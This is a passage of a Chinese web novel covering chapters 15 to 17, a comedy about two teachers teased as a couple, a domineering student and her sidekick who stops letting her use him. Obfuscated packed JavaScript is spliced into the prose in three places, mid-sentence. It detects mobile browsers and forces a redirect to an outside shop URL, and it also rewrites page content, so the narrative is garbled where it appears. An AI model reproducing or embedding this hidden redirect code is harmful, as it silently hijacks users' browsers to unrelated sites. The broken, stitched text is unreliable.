校长也看到了，停顿了三秒，继续说：“……教师要注重仪表，着装得体……” 张聪明还在睡，甚至咂了咂嘴，嘟囔：“啊～奶茶要全糖啊～” 鲁平没动，就让他靠着。 直到会议结束，校长说“散会”，张聪明才醒。 发现自己靠在鲁平肩上，他吓了一跳：“啊～我怎么……” “你睡着了。”鲁平面无表情，“流了我一肩膀口水。” “对不起啊～” “没事。”鲁平站起来，“走吧。” 两人一前一后离开。 身后，老师们窃窃私语： “他们真在一起了？” “看样子是。” “挺好，内部消化，减少教学事故。” “就是画风有点清奇……” 当晚，校园墙出现了高清照片：张聪明靠在鲁平肩上睡觉，鲁平正襟危坐，嘴角疑似有笑意。 配文：「他为他撑起一片天（的肩膀）。嗑死我了。」 点赞破千。 连外校的都来观光：“这就是传说中的秃油CP？果然名不虚传。” --- 当事人什么反应？ 鲁平把那件沾了口水的衬衫带回家，没洗，挂在了衣柜里——这是洐沁的“线人”（鲁平的邻居家小孩）汇报的。 张聪明则去药店买了安神口服液，偷偷塞进鲁平的抽屉——这是打扫卫生的阿姨看到的。 两人都没提这件事。 但周一，鲁平穿了件新衬衫，还是白色，但质地更好。 张聪明换了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064649|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发型——把发胶用量减少了30%，看起来没那么油了。 他们还是一起吃饭，一起下班，一起研究生发液。 只是，气氛更微妙了。 周五放学，大雨。 两人都没带伞。 站在教学楼门口，看着瓢泼大雨，沉默。 “等雨停吧。”鲁平说。 “啊～这雨一时半会停不了啊～” 这时，梦萱和大雄撑着一把伞路过。 梦萱看到他们，笑了：“二位，没伞？要不一起？” 她的伞很小，只够两个人挤。 鲁平和张聪明同时摇头：“不用。” “那你们慢慢等。”梦萱挽着大雄的手，“我们走了。” 他们走进雨里。 大雄的伞往梦萱那边倾斜，自己半个身子淋湿了。 梦萱骂他：“你沙币啊！往这边点！” 大雄憨笑：“没事，我壮。” 两人走远。 鲁平和张聪明看着他们的背影，又看看彼此。 突然，张聪明说：“啊～要不我们冲吧～” “冲？” “跑到公交站啊～” “会淋湿。” “湿就湿啊～” 鲁平犹豫了一下，点头：“好。” 他们把公文包顶在头上，对视一眼，同时冲进雨里。 跑得很狼狈。 鲁平脚滑，差点摔倒，张聪明拉住他。 张聪明肚子大，跑得慢，鲁平等他。 跑到公交站时，两人都湿透了。 头发贴在脸上，衣服贴在身上，像两只落汤鸡。 他们看着彼此，突然笑了。 笑得很大声，笑得喘不过气。 笑完了，张聪明说：“啊～好像回到年轻时候啊～” 鲁平：“你年轻时候也这么胖？” “啊～你年轻时候也这么秃？” 两人又笑。 笑着笑着，安静下来。 雨还在下。 公交站只有他们两个人。 远处，城市的灯光在雨幕中模糊。 张聪明突然说：“其实……现在这样，也挺好。” 鲁平：“嗯。” “至少有人一起淋雨啊～” “嗯。” 公交车来了。 他们上车，并排坐在最后座。 车开动，雨水在车窗上划出痕迹。 谁也没说话。 但有什么东西，在沉默中，悄悄改变了。 --- 周一，五班同学发现了震惊的事实： 鲁平和张聪明的保温杯，换成了情侣款。 同品牌，同颜色，只是图案不同——鲁平的是秃顶小熊，张聪明的是油头小猪。 “这是官宣了吗？！”王鑫激动。 “冷静。”洐沁记录，「情侣用品是关系进阶的重要标志，但还需观察是否还有其他同步行为。」 很快，其他同步行为出现了： 1. 两人开始穿同款不同色的POLO衫——鲁平灰色，张聪明蓝色。 2. 两人都用上了同系列护手霜——据说能防粉笔灰。 3. 两人在办公室的椅子，被挪到了面对面，抬头就能看到对方。 最绝的是，周三的政治课和数学课，两位老师讲了同一个知识点： 鲁平讲“矛盾的对立统一”，张聪明讲“数学中的矛盾方程”。 例题都是：“如果梦萱同学喜欢喝奶茶，又讨厌送奶茶的人，这个矛盾如何解决？” 全班：“……” 这是夹带私货吧！ 这绝对是夹带私货吧！ 但两位老师讲得很认真，甚至下课还交流了“教学心得”。 “我的解法是从哲学角度，理解她矛盾的心理。”鲁平说。 “啊～我的解法是从数学角度，计算最优解啊～”张聪明说。 “最优解是什么？” “啊～就是我们不要再送奶茶了啊～” 两人相视苦笑。 然后，同时叹了口气。 叹气声同步，像排练过。 --- 周五，洐沁的观察报告出来了： 《秃油CP关系进展评估报告v2.0》 ·情感发展阶段：暧昧后期，即将进入稳定期 ·公开可能性：60%（他们已经不在意被看到了） ·梦萱反应：从嘲讽转为观望，疑似在计算“鱼塘损失” ·大雄反应：无反应，他还在研究怎么挤痘不留疤 ·班级影响：学习氛围下降，嗑CP氛围上升，但师生关系更融洽了 ·建议：保持观察，不干预，不宣扬，但可以偷偷嗑 报告在班里传阅。 同学们纷纷表示：“洐沁，你是我的神！” 洐沁推了推不存在的眼镜：“我只是个无情的科学观察机器。” 但她的嘴角，上扬了0.5毫米。 被我看到了。 --- 放学时，我拦住洐沁：“你真的只是观察吗？” 她看我一眼：“什么意思？” “你好像在……撮合他们。” “我没有。”洐沁否认，“我只是提供了他们需要的……数据。” “什么数据？” “比如，两个人在一起比一个人更容易度过失恋期的数据。”洐沁说，“比如，中年男性情感支持对心理健康影响的数据。我只是把数据‘无意中’放在他们能看到的地方。” 我：“……你这叫没有干预？” “这叫‘环境变量调整’。”洐沁理直气壮，“而且，他们现在不是挺开心的吗？” 我看向办公室。 透过窗户，能看到鲁平和张聪明正凑在一起看手机——大概是在看校园墙的CP帖。 两人脸上都有笑意。 虽然一个秃，一个油。 但，好像真的……挺配的。 “行吧。”我说，“你开心就好。” “我当然开心。”洐沁合上笔记本，“这个课题，够我写到大学毕业了。” 她走了。 我站在原地，看着夕阳把教学楼染成金色。 在这个抽象的高中，什么都可能发生。 老师能为了学生打架。 学生能给老师嗑CP。 秃顶和油头能成为灵魂伴侣。 而我的同桌，能把这一切写成学术论文。 这个世界，太他妈的有意思了。 16. 第 16 章 秃油CP的“官宣”（虽然他们没承认）让梦萱遭遇了鱼塘生涯的滑铁卢。 周二早晨，她站在五班门口，看着鲁平和张聪明共用一份早餐——一根油条，你一口我一口，像俩幼儿园小朋友——脸黑得像锅底。 “我失策了。”她对身边的大雄说，“我以为他们最多当个闺蜜，没想到直接进阶成老伴儿。” 大雄啃着包子：“老伴儿是啥？” “就是老了做伴儿。”梦萱咬牙切齿，“但他们才五十和二十多！这是忘年恋加强版！” “哦。”大雄继续啃包子，“那你还让他们当鱼吗？” “当个屁！”梦萱把包子抢过来咬了一大口，“鱼都私奔了，我还养什么鱼塘？我这是鱼塘主被鱼绿了！” 她气冲冲地走了，留下一脸懵逼的大雄。 五分钟后，梦萱的“舔狗反击战”正式打响。 第一波攻势：爱心便当。 上午第三节课，鲁平和张聪明正在办公室研究怎么用Excel做“CP亲密度曲线图”，突然听到敲门声。 开门，是梦萱。 她拎着两个粉红色的便当盒，笑容甜美得像加了十斤糖精：“鲁老师，张老师，辛苦了，这是我亲手做的便当～” 两位老师僵住了。 梦萱·亲手·做便当？ 这比校长突然跳女团舞还惊悚。 “啊～这……”张聪明手抖。 “你做的？”鲁平警惕，“里面是什么？” “爱心午餐呀！”梦萱把便当盒塞他们手里，“一定要吃完哦！我会检查的！” 她蹦蹦跳跳走了。 留下两位老师，对着便当盒，像对着两颗定时炸弹。 “打开吗？”鲁平问。 “啊～打吧～”张聪明咽口水，“万一是真的呢～” 他们小心翼翼打开盒子。 然后，沉默了。 便当内容： ·米饭被捏成了心形，但捏得太用力，成了心肌梗塞形。 ·配菜是：烤焦的鸡翅（黑得像炭）、半生不熟的青菜（还带着泥）、以及迷之褐色块状物（疑似红烧肉，但更像化学实验产物）。 ·正中央插着一面小旗子，写着：「爱你们哦～」 鲁平用筷子戳了戳褐色块状物，块状物碎了，流出可疑的汤汁。 张聪明夹起鸡翅，鸡翅掉渣，渣掉在桌上，冒起一缕青烟。 两人对视。 “这能吃吗？”鲁平问。 “啊～可能……不能～”张聪明说，“但这是她亲手做的～” “你怎么知道是亲手做的？” “因为只有她能把食物做成生化武器啊～” 他们最终没敢吃，把便当盒原样盖好，藏在了档案柜最底层——和过期试卷、没批完的作业、以及校长遗忘多年的假发放在一起。 但梦萱说到做到。 下午她真的来“检查”了。 “吃完了吗？”她笑眯眯地问。 “吃、吃完了。”鲁平撒谎。 “真的？”梦萱凑近，“张嘴，我闻闻。” 鲁平张嘴：“啊——” 梦萱闻了闻：“没有鸡翅味。你们没吃。” 张聪明：“啊～我们漱口了～” “漱口也藏不住味道。”梦萱眯起眼，“行，明天我继续送，送到你们吃完为止。” 她走了。 两位老师抱头痛哭（夸张修辞，但差不多）。 “她这是要毒死我们啊～”张聪明哀嚎。 “这是报复。”鲁平分析，“报复我们在一起了。” “那我们分手啊～” “分什么手！我们根本没在一起！” 但这话说出来，他们自己都不信。 --- 第二波攻势：情诗轰炸。 周三，两位老师的办公桌上各出现了一个信封。 粉色的，喷了香水——香得发臭，像过期花露水。 鲁平拆开，里面是一张印着爱心图案的信纸，上面用歪歪扭扭的字写着： 《致鲁老师》 你的秃顶像月亮 照亮我迷茫的方向 你的破锣嗓像摇滚 震撼我幼小的心房 啊！鲁老师！ 你是电！你是光！你是唯一的神话！ 我只爱你！you are my super star！ 落款：暗恋你的学生·萱 鲁平看完，手抖，信纸掉地上，他捡起来，又掉，反复三次。 最后他把信纸塞进碎纸机，碎纸机卡住了——可能被油腻到了。 张聪明那边更绝： 《致聪明老师》 你的“啊～”像魔咒 让我心跳加速像泵抽 你的油头像油田 让我想钻探爱的源泉 啊！张老师！ 你是我的奶茶！全糖去冰加珍珠！ 我只爱你！you are my bubble tea！ 落款：为你痴为你狂为你哐哐撞大墙·萱 张聪明看完，沉默了十分钟。 然后他说：“啊～其实写得还挺押韵啊～” 鲁平：“？？？你清醒一点！” “但她夸我像奶茶啊～” “那是骂你腻！” “腻也是爱啊～” 鲁平绝望了。 他发现张聪明居然有点……享受？ 更可怕的来了。 梦萱开始当面朗诵。 周四语文课（三班的课），她举手：“老师，我写了一首诗，想朗诵给大家听。” 语文老师欣慰：“好啊，梦萱同学有文学创作热情，值得鼓励。” 梦萱站起来，深情朗诵： “啊！两位老师！你们像双子星！闪耀在我的天空！ 一个秃得光明磊落！一个油得坦坦荡荡！ 我爱你们的秃！爱你们的油！爱你们在一起的每个瞬间！ 请接受我炽热的爱！像接受食堂的免费汤！虽然难喝但是温暖！” 全班笑到桌子底下。 语文老师脸绿了：“这……这写的什么！” “爱情诗啊！”梦萱理直气壮，“我在表达对老师的敬爱！” “敬爱不是这样表达的！” “那怎么表达？像他们俩那样用一根吸管喝豆浆？” 语文老师噎住了。 下课后，诗的内容传遍了年级。 秃油CP的热度再创新高。 连校长都听说了，把两位老师叫到办公室，委婉地说：“那个……师生恋不行，师师恋……也注意影响。” 鲁平：“我们没有！” 张聪明：“啊～我们是被迫的～” 校长：“那这诗……” 鲁平：“是她单方面骚扰！” 校长：“哦……那你们处理一下。” 怎么处理？ 他们不敢。 因为梦萱说了：“如果你们敢拒绝我的爱，我就每天在校园墙写一首诗，写到你们退休。” 两位老师怂了。 --- 第三波攻势：补课邀请。 周五放学，梦萱堵在办公室门口：“鲁老师，张老师，我数学和政治都不好，你们能给我补课吗？一对一，二对一也行。” 鲁平：“你不是讨厌学习吗？” “为了爱，我可以学！”梦萱握拳，“爱情让人进步！” 张聪明：“啊～但我们下班有事啊～” “什么事？回家一起看电视剧？”梦萱挑眉，“我可以加入，三人行必有我师。” 最终，他们答应了。 不是想补课，是怕她再写诗。 于是，周六上午，教师办公室出现了荒诞一幕： 梦萱坐在中间，左边鲁平讲政治，右边张聪明讲数学。 她根本没听，一会儿戳戳鲁平的秃顶：“老师，你头上怎么不长痘？” 一会儿扯扯张聪明的头发：“老师，你这发胶能粘住苍蝇吗？” 两位老师如坐针毡。 补课到一半，梦萱突然说：“我渴了。” 鲁平赶紧倒水。 “我要喝奶茶。” 张聪明：“啊～现在没有啊～” “那你们去买。”梦萱跷起二郎腿，“我要喝那家新开的，要排队一小时的那家。” 两位老师对视，眼神交流： 鲁平：去吗？ 张聪明：啊～不去她会写诗～ 鲁平：那谁去？ 张聪明：猜拳？ 他们真的猜拳了。 鲁平赢了。 张聪明苦着脸去买奶茶。 一小时后，他回来了，拎着奶茶，满头大汗。 梦萱喝了一口，皱眉：“太甜了。” “啊～你说要全糖啊～” “我现在想喝三分糖。”梦萱说，“再去买一杯。” 张聪明：“…………” 鲁平站起来：“我去吧。” “不。”梦萱说，“就要他去。” 张聪明又去了。 这次他学聪明了，买了三杯：全糖、三分糖、无糖。 梦萱每杯喝一口，说：“都不好喝，还是倒了吧。” 她真的倒了。 倒进了办公室的盆栽里。 盆栽第二天死了。 --- 这场“舔狗攻势”持续了一周。 五班同学从震惊到麻木到嗑瓜子看戏。 洐沁的Q版小人画更新到了第十张： 第一张：梦萱头顶恶魔角，拿着便当盒追两位老师，老师跑得秃顶反光、油头飞散。 第二张：两位老师对着情诗呕吐，吐出的都是爱心。 第三张：补课场景，梦萱坐在王座上，两位老师跪着讲题。 第四张：奶茶连环杀人事件，张聪明跑断腿，鲁平在旁边给他加油（举着“加油”小旗子）。 她画完就拿给我看：“班长，怎么样？” 我：“……你画得越来越抽象了。” “这是艺术加工。”洐沁说，“不过我需要你帮忙。” “又帮什么？” “帮我收集数据。”她掏出一个表格，“记录两位老师每天被梦萱折磨后的表情变化、血压估计值、以及逃跑速度。我一个人忙不过来。” 我：“……我是班长，不是你的研究助理。” “班长就是要为同学服务。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064650|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”洐沁理直气壮，“而且你不是也想看戏吗？” 她戳中了我。 确实，这场戏太好看了。 于是我“被迫”加入了她的观察小组。 任务包括： 1. 用手机偷拍两位老师崩溃的瞬间（要高清）。 2. 记录他们每天叹气次数（我发明了“叹气计数器”APP）。 3. 估算他们发际线的后退速度（用鲁平做样本，每天测量秃顶直径）。 洐沁夸我：“班长，你很有天赋。” 我：“谢谢，但这天赋不要也罢。” --- 周一，梦萱的攻势升级了。 她不知从哪搞来了两位老师的课表，开始全程跟踪。 鲁平去上课，她就在后门偷看，还对他比心。 张聪明去开会，她就趴在窗户上，用口型说“我爱你”。 两位老师去厕所，她就在外面唱歌：“我爱老师，老师爱我，老师老师快理我～” 全校都知道了。 连扫地阿姨都问：“那俩老师是不是欠那女生钱了？” 最绝的是，梦萱开始送礼物。 不是正常的礼物，是奇葩礼物： 给鲁平送生发梳——梳齿长到能当凶器，还附带说明书：「每天梳头一百下，头发长成二维码」。 给张聪明送去油肥皂——肥皂是黑色的，洗完后皮肤也变黑，像挖煤的。 两位老师不敢不收，收了不敢用，堆在办公室角落，像犯罪证据。 周三，他们终于受不了了。 下课铃一响，两人同时冲进五班教室，一左一右抓住我： “班长！救救我们！”鲁平声音带哭腔。 “啊～我们要死了啊～”张聪明眼泪汪汪。 全班同学安静吃瓜。 我：“……我怎么救？” “让她停止！”鲁平说，“你是班长，有威信！” “啊～你去跟她说啊～说我们受不了了啊～” 我看向洐沁。 洐沁耸肩，用口型说：“答应他们。” 我只好说：“行，我试试。” --- 放学后，我在操场找到梦萱。 她正在“训练”大雄——让他做俯卧撑，她坐在他背上吃薯片。 “梦萱。”我叫她。 “哟，班长。”她没下来，“有事？” “那个……鲁老师和张老师……” “他们让你来的？”梦萱笑了，“怂了？” “嗯。” “行啊。”梦萱跳下来，“只要他们答应我一件事。” “什么事？” “分手。”梦萱说，“立刻，马上，公开分手。” 我：“……他们根本没在一起啊。” “我不管。”梦萱叉腰，“在我鱼塘里，鱼和鱼谈恋爱就是违规。要么他们分手，要么我继续。” 我回去传话。 两位老师听完，对视一眼。 鲁平：“分吗？” 张聪明：“啊～分吧～” 鲁平：“怎么分？” 张聪明：“发个声明？” 他们真的写了声明。 打印出来，贴在校园墙： 《关于鲁平老师与张聪明老师关系的严正声明》 1. 我们只是普通同事关系。 2. 我们没有在一起，以前没有，现在没有，以后也不会有。 3. 请某些同学停止不实猜测。 4. 特此声明，以正视听。 落款：鲁平、张聪明 贴完，他们松了口气。 然后，梦萱来了。 她看完声明，笑了。 笑得很开心。 “行。”她说，“那从今天起，你们重新归我管。” 两位老师：“？？？” “鱼塘规则重启。”梦萱掏出手机，“现在，去给我买奶茶，我要喝那家排队两小时的。” 鲁平&张聪明：“……” 他们还是去了。 因为比起被写诗、被送毒便当、被跟踪上厕所…… 买奶茶，至少能活命。 --- 那天晚上，洐沁更新了Q版画： 第十一张：两位老师举着“分手声明”，眼泪汪汪，身后是叉腰狂笑的梦萱。 第十二张：他们提着奶茶，走在夕阳下，背影凄凉，头顶飘着字：「还不如在一起」。 她把画拿给我看：“班长，你觉得结局会怎样？” 我：“不知道。” “我预测，”洐沁说，“他们最终会发现，在一起才是对抗颠婆的唯一出路。” “然后呢？” “然后……”洐沁眼睛发亮，“就会进入‘地下恋情’阶段。到时候，我们的观察就要更隐蔽了。” 她已经开始规划下一步了。 我看着她兴奋的表情，突然觉得，这个班级，这个学校，这个宇宙…… 没救了。 但你别说还挺好玩。 至少，奶茶有人买了。 至少，戏有人演了。 而我，班长程穗，只需要负责…… 递瓜子，和陪同桌发疯。 17. 第 17 章 大雄的觉醒，始于一个普通的周二早晨。 他在厕所照镜子，准备挤掉鼻子上新冒出的第八颗痘——这颗痘位置刁钻，在鼻孔边缘，像颗黑色的卫星。 挤到一半，他突然停住了。 镜子里，他的脸被痘痘点缀得像星空图，而梦萱昨天说的话在脑子里循环播放：“大雄，你这脸能当星座盘用了，以后我指哪儿你打哪儿。” 指哪儿打哪儿。 跟班。 工具人。 大雄的手开始抖。 不是生气，是哲学性颤抖。 他盯着镜子里的自己，缓缓开口，声音在空荡的厕所产生回音： “我……是谁？” “我是张大雄，17岁，体重140斤，鼻子很大，痘痘很多。” “我为什么在这里？” “因为梦萱让我陪她买早餐。” “我存在的意义是什么？” “给她拎书包、挤痘痘、当人肉沙包、以及在她骂人时点头说‘你说得对’。” 厕所隔间里传来同学憋笑的声音。 大雄没理，继续深度思考： “如果我只是工具……那我和这个水龙头有什么区别？” 他拧开水龙头。 水哗哗流。 “看，水龙头也能出水，我也能出汗。但它不用被骂，我要。” “这不公平。” 大雄关掉水龙头，表情庄严得像刚顿悟的佛陀。 他决定了： 从今天起，不做工具人。 --- 上午体育课，梦萱像往常一样下令：“大雄，去给我买水，要冰的但不能太冰——” “你自己去。”大雄打断她。 梦萱愣住，掏掏耳朵：“你再说一遍？” “我说，”大雄一字一顿，“你、自、己、去。” 全场寂静。 连树上打盹的麻雀都惊醒了。 梦萱眯起眼，声音危险：“你造反了？” “我在主张平等权利。”大雄认真地说，“根据《中学生守则》第三条，同学之间应该互相尊重。你让我买水108次，我让你买0次，这不尊重。” 梦萱：“？？？” 她绕着大雄转了三圈，像在检查他是不是被外星人附体了。 “你脑子被铅球砸了？”她戳他额头。 “没有。”大雄躲开，“我只是觉醒了。” “觉醒什么？” “我不是你的工具。”大雄挺起胸膛——虽然他胸肌很大，但此刻更像正义的盾牌，“我是独立的个体，有独立的人格，有说‘不’的权利。” 梦萱盯着他看了十秒。 然后她笑了，笑到蹲在地上拍大腿： “哈哈哈哈哈哈！独立人格！你说这话的时候鼻子上那颗痘还在发光呢！笑死我了！” 大雄摸了摸鼻子，那颗第八痘确实在阳光下有点反光。 但他没退缩：“痘不影响我的人格完整性。” “行。”梦萱站起来，拍拍手，“那从今天起，你不是我的人了。滚吧。” 她转身就走。 走了三步，回头：“真滚？” 大雄：“嗯。” “不后悔？” “不后悔。” 梦萱的脸黑了。 她没想到，这个憨憨跟班，居然真的敢。 --- 消息在课间传遍全校。 洐沁第一时间冲到我座位，眼睛发光：“重大事件！工具人起义了！” 她掏出Q版画本，飞速作画： 第一张：大雄在厕所照镜子，头顶冒出巨大的思想泡泡，里面写着：“我是谁？我在哪？我为什么要挤痘？” 第二张：大雄对梦萱说“不”，背景是爆炸特效，梦萱头顶冒出“？？？”。 第三张：梦萱气成河豚，腮帮子鼓成球。 画完，她递给我看：“班长，怎么样？” 我：“……你画得越来越快了。” “灵感爆发。”洐沁说，“我需要你帮忙监视后续发展。” “又我？” “你是班长，有责任维护班级稳定。”洐沁把望远镜塞给我，“现在，去窗户边，观察操场动向。” 我：“你个撒比。” 我被迫举着望远镜。 操场上，大雄正在一个人跑步——以前他都是陪梦萱跑。 梦萱坐在看台上，盯着他，眼神像要在他背上烧出两个洞。 她掏出手机，打电话。 一分钟后，鲁平和张聪明气喘吁吁地跑到操场。 “梦萱同学，什么事啊～”张聪明抹汗。 “大雄造反了。”梦萱指着跑步的大雄，“你们去，把他劝回来。” 鲁平：“怎么劝？” “告诉他，当工具人是他的福报。” 张聪明：“啊～这不好说啊～” 但梦萱的眼神太吓人，他们只好去了。 两位老师跑到大雄旁边，一边一个，陪跑。 鲁平：“大雄同学，梦萱同学很关心你。” 大雄：“她只关心我能不能买水。” 张聪明：“啊～那也是关心的一种啊～” 大雄：“那叫使唤。” 鲁平：“其实……有人使唤，也是一种存在价值的体现。” 大雄停下脚步，看向鲁平：“老师，如果有人天天让你买奶茶，你乐意吗？” 鲁平想到被梦萱支配的恐惧，沉默了。 张聪明试图讲道理：“啊～年轻人要多经历磨难啊～” 大雄：“磨难不等于当奴才。” 两位老师败下阵来。 他们跑回看台，对梦萱摇头：“劝不动，他觉醒得太彻底了。” 梦萱气得把矿泉水瓶捏扁了。 --- 下午，大雄的“觉醒行动”升级。 1. 拒绝挤痘服务 梦萱拿着痘痘贴找他：“大雄，这颗熟了。” 大雄：“你自己挤。” “我近视！” “戴眼镜。” “眼镜坏了！” “那别挤了，让它自然成熟脱落。” 梦萱：“……” 2. 要求平等对话 梦萱：“喂，去小卖部。” 大雄：“请说‘请’。” “……请你去小卖部。” “抱歉，我现在不想去。” 梦萱抓起书包扔他，大雄接住，放回她桌上：“暴力不能解决问题。” 3. 甚至开始反向使唤 大雄：“梦萱，能帮我买瓶水吗？” 梦萱：“？？？你让我买水？” “同学之间互相帮助。”大雄掏出五块钱，“要冰的，谢谢。” 梦萱盯着那五块钱，像盯着外星货币。 她没接钱，而是转身走了。 走到楼梯拐角，她突然蹲下，抱头，发出压抑的咆哮：“他妈的他居然让我买水！他居然敢！啊啊啊啊啊啊啊啊啊啊啊！！！” 路过的一班同学吓得贴墙溜走。 --- 这一切，都被洐沁记录在案。 她的Q版画更新： 第四张：大雄头顶亮起灯泡，灯泡里写着“独立人格”，梦萱在旁边拿锤子想砸灯泡。 第五张：两位老师陪跑，累成狗，头顶飘字：“年轻人的体力……不服不行。” 第六张：梦萱蹲在楼梯角，背景是乌云闪电，配字：“我的工具……他有了自己的想法！” 画完，她粘着我：“班长，你觉得大雄能坚持多久？” 我：“不知道，但梦萱不会善罢甘休。” “没错。”洐沁点头，“我预测她会启动‘镇压程序’。” 果然，放学后，梦萱的镇压开始了。 她召集了三个跟班——都是被她骂服的低年级小弟，组成“工具人回收小队”。 小队埋伏在校门口，等大雄出来。 大雄刚踏出校门，三人围上去。 小弟A：“雄哥，梦萱姐让你回去。” 大雄：“不回。” 小弟B：“她说请你喝奶茶。” 大雄：“不喝。” 小弟C：“她说……给你买篮球。” 大雄犹豫了一秒，还是摇头：“不要。” 工具人回收失败。 梦萱在不远处看着，脸黑得像锅底。 她亲自上场，走到大雄面前，深吸一口气，挤出一个扭曲的笑容： “大雄，我们谈谈。” “谈什么？” “谈谈……你的需求。”梦萱咬牙切齿，“你想要什么？平等？尊重？我都可以给。” 大雄：“真的？” “真的。” “那先道歉。”大雄说，“为你过去108次使唤我道歉。” 梦萱的笑容僵在脸上。 道歉？ 她梦萱字典里没有这两个字！ 但她忍了。 从牙缝里挤出三个字：“对、不、起。” 大雄点头：“好，我接受。” “那现在能回来了吗？” “不能。”大雄说，“我还要观察你的后续表现。” 梦萱：“…………”啊啊啊啊啊这个脑残！！！！ 她转身，一脚踹在校门柱子上，柱子没事，她脚疼得龇牙咧嘴。 大雄默默递过来一张创可贴：“贴一下吧。” 梦萱盯着创可贴，没接，而是红着眼眶吼：“你他妈到底想怎样！” 大雄被吼愣了，小声说：“就想……你对我好点。” 梦萱也愣了。 两人在夕阳下对视，一个眼眶发红，一个憨憨呆立。 像极了劣质青春剧的剧照。 当然，如果忽略背景里偷拍的洐沁，和嗑瓜子的我 --- 晚上，洐沁在五班群里发布最新观察报告： 《工具人觉醒事件阶段性分析》 1. 起义动机：厕所哲学顿悟（可能和那颗第八痘有关）。 2. 目前成果：成功拒绝挤痘1次、买水1次、反向使唤1次。 3. 梦萱反应：从愤怒到试图收买到崩溃边缘。 4. 两位老师反应：暗中给大雄点赞，并偷偷送了他一本《独立人格培养手册》（虽然书是盗版的，里面还有养猪教程）。 5. 预测：梦萱将在48小时内发动总攻，手段可能包括：苦肉计、美人计（？）、或者直接绑架。 群里沸腾了： 「大雄牛逼！」 「梦萱居然道歉了？！」 「那本养猪教程是我捐的！没想到用上了！」 「赌五毛，梦萱下一步是装病。」 洐沁私聊我：“班长，明天是关键，需要你近距离观察。” 我：“怎么近距离？” “我申请了‘学生会调解员’身份，你可以当我的助理。”洐沁发来一张伪造的申请表，“我们去调解他们的矛盾。” “这能行？” “试试呗。”洐沁说，“反正最坏结果就是被梦萱骂一顿，你习惯了的。” 我：“……” 无法反驳。 --- 第二天，大雄的觉醒进入新阶段：他开始给自己挤痘了。 早晨，他对着厕所镜子，拿着痘痘贴，手法生疏但认真。 梦萱路过，看到他，冷哼一声：“挤啊，继续挤，挤出血别找我。” 大雄没理她，继续挤。 挤完，他对着镜子说：“看，没有你，我也能行。” 梦萱脚步一顿，回头瞪他。 大雄转头，对她露出一个憨憨但坚定的笑容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064651|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 梦萱像被雷劈了，愣在原地三秒，然后快步走了。 背影有点仓皇。 洐沁拍下这一幕，画成Q版： 第七张：大雄对着镜子挤痘，头顶飘着“独立宣言”，梦萱在门口石化，碎成一片片。 “经典镜头。”洐沁满意，“这张可以入选年度抽象大赏。” 上午课间，我和洐沁正式介入。 我们找到大雄，洐沁拿出小本本：“张大雄同学，我们是学生会调解员，想了解你和梦萱同学的矛盾。” 大雄老实交代：“我不想当工具人了。” 洐沁：“具体诉求是？” “平等对待，互相尊重，以及……”大雄想了想，“她偶尔也可以帮我买水。” 我：“……最后一条才是重点吧？” 我们又找到梦萱。 她正在天台上踹栏杆，栏杆发出悲鸣。 栏杆：我的沉默震耳欲聋。 “梦萱同学，”洐沁开口，“关于你和大雄同学的矛盾——” “没矛盾！”梦萱打断，“他就是个叛徒！” “但他说想要平等。” “平等个屁！他一个跟班要什么平等！” “跟班也有人权。”我说。 梦萱瞪我：“班长，你也造反？” “我只是陈述事实。”我后退半步，躲到洐沁身后。 洐沁推了推眼镜：“梦萱同学，如果你不调整对待大雄的方式，可能会永久失去这个跟班。” 梦萱沉默了。 她看向远处操场，大雄正在和同学打篮球——以前他只会陪她一个人打。 他笑得很开心。 那种笑，不是憨笑，是自由的笑。 梦萱突然觉得心里空了一块。 像丢了个用了很久的旧书包，虽然破，但顺手。 她咬牙：“行，我改。” 洐沁：“怎么改？” “我……”梦萱憋了半天，“我以后不说‘喂’，说‘请’。” “还有呢？” “不让他买水了。” “还有？” “挤痘……让他自己挤。” 她说得无比艰难，像在咽玻璃碴。 洐沁记录：「初步妥协，但诚意不足。」 --- 下午，梦萱真的尝试了。 体育课，她走到大雄面前，张嘴，又闭上，再张嘴，脸憋得通红。 最后她说：“请……帮我买瓶水。” 声音小得像蚊子叫。 大雄愣住：“你说什么？” “我说请帮我买瓶水！”梦萱吼出来，然后脸更红了。 大雄看着她，突然笑了：“好。” 他去了。 回来时，不仅买了水，还买了她爱吃的薯片。 梦萱接过，表情复杂：“你……不生气了？” “你道歉了，我接受了。”大雄说，“现在我们是平等关系。” “平等关系……”梦萱咀嚼这个词，“那平等关系里，我还能使唤你吗？” “偶尔可以。”大雄说，“但我也能使唤你。” “比如？” “比如明天帮我买早餐。” 梦萱：“……行。” 她拆开薯片，吃了一口，突然说：“你脸上那颗痘，快好了。” 